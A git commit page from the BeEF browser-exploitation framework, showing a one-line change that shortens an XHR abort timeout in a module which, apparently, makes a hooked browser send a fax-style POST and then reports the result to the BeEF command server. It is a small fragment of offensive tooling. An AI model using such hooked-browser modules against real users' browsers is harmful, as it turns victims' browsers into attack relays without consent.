Merge pull request #950 from bmantra/master
2 seconds is more than enough to send a fax :p
This commit is contained in:
@@ -21,7 +21,7 @@ beef.execute(function() {
|
||||
xhr.open("POST", uri, true);
|
||||
xhr.setRequestHeader("Content-Type", "text/plain");
|
||||
xhr.send(post_body);
|
||||
setTimeout(function(){xhr.abort()}, 5000);
|
||||
setTimeout(function(){xhr.abort()}, 2000);
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');
|
||||
|
||||
});
|
||||
|
||||
Reference in New Issue
Block a user